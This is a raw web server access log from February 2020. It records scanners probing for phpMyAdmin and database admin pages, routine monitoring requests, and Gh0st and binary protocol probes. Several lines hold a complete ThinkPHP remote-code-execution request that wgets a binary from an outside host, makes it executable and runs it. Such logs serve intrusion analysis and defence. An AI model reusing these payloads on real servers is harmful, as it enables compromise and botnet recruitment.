134.175.238.122 - - [08/Feb/2020:21:51:28 +0100] "GET /phpMyAdmin-4.4.0/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:29 +0100] "GET /phpMyAdmin4.8.0/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:29 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:29 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:29 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:30 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:31 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:31 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:31 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:31 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:32 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:32 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:32 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:32 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:32 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:33 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:33 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:33 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:33 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:34 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:34 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:34 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:34 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:34 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:35 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:35 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:35 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:35 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:35 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:36 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:36 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:36 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:36 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:37 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:37 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:37 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:37 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:37 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:38 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:41 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:41 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:41 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:41 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:42 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:42 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:42 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:45 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:45 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:45 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:45 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:46 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:46 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:51:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.175.238.122 - - [08/Feb/2020:21:51:46 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:49 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:49 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:49 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:49 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:50 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:50 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:50 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:53 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:53 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:53 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:53 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:54 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:54 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:54 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:57 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:57 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:57 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:51:57 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:52:01 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:52:01 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36"
134.175.238.122 - - [08/Feb/2020:21:52:02 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
167.249.77.79 - - [08/Feb/2020:21:52:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:21:52:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:53:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
61.220.216.33 - - [08/Feb/2020:21:54:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:54:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.198.66.62 - - [08/Feb/2020:21:55:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:21:55:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:21:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.92.172.55 - - [08/Feb/2020:22:00:24 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.234.125.157 - - [08/Feb/2020:22:05:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.242 - - [08/Feb/2020:22:06:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.161.163 - - [08/Feb/2020:22:07:36 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.82.185 - - [08/Feb/2020:22:07:43 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
172.105.82.185 - - [08/Feb/2020:22:07:43 +0100] "Gh0st\xad" 501 321 "-" "-"
172.105.82.185 - - [08/Feb/2020:22:07:46 +0100] "HELP" 501 319 "-" "-"
172.105.82.185 - - [08/Feb/2020:22:07:46 +0100] "\x1b\x84\xd5\xb0]\xf4\xc4\x93\xc50\xc2X\x8c\xda\xb1\xd7\xac\xafn\x1d\xe1\x1e\x1a3*\x85\xb7\x1d'\xb1\xc9k\xbf\xf0\xbc" 501 350 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
172.105.82.185 - - [08/Feb/2020:22:07:48 +0100] "\x16\x03\x01" 501 318 "-" "-"
172.105.82.185 - - [08/Feb/2020:22:07:49 +0100] "\xbd\xff\x9e\xffE\xff\x9e\xff\xbd\xff\x9e\xff\xa4\xff\x86\xff\xc4\xff\xbe\xff\xc7\xff\xdb\xff\xee\xffx\\d9\xff\xed\xff\xa4\xff\x9d\xff\xcf\xff\xd8\xff\xe5\xff\x04\xff\x12\xff0\xff\xb1\xff\xbd\xff\xe7\xff\xe2\xff\xdd\xff\xdc\xff\xde\xff\xc8\xff\xcc\xff\xbe\xff\xf8\xff&\xff\x01\xff\x0f\xff\xf5\xff\x06\xff\xff\xff\xf7\xff!\xff\xde\xff\x02\xff&\xff\x0c\xff\x01\xff\xf5\xff" 400 329 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [08/Feb/2020:22:09:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.229.3 - - [08/Feb/2020:22:11:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [08/Feb/2020:22:11:09 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
198.211.10.10 - - [08/Feb/2020:22:11:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:22:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.205.3.23 - - [08/Feb/2020:22:13:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
197.205.3.23 - - [08/Feb/2020:22:13:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.104.72 - - [08/Feb/2020:22:13:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:22:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.193.234.142 - - [08/Feb/2020:22:14:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [08/Feb/2020:22:14:33 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [08/Feb/2020:22:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [08/Feb/2020:22:14:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
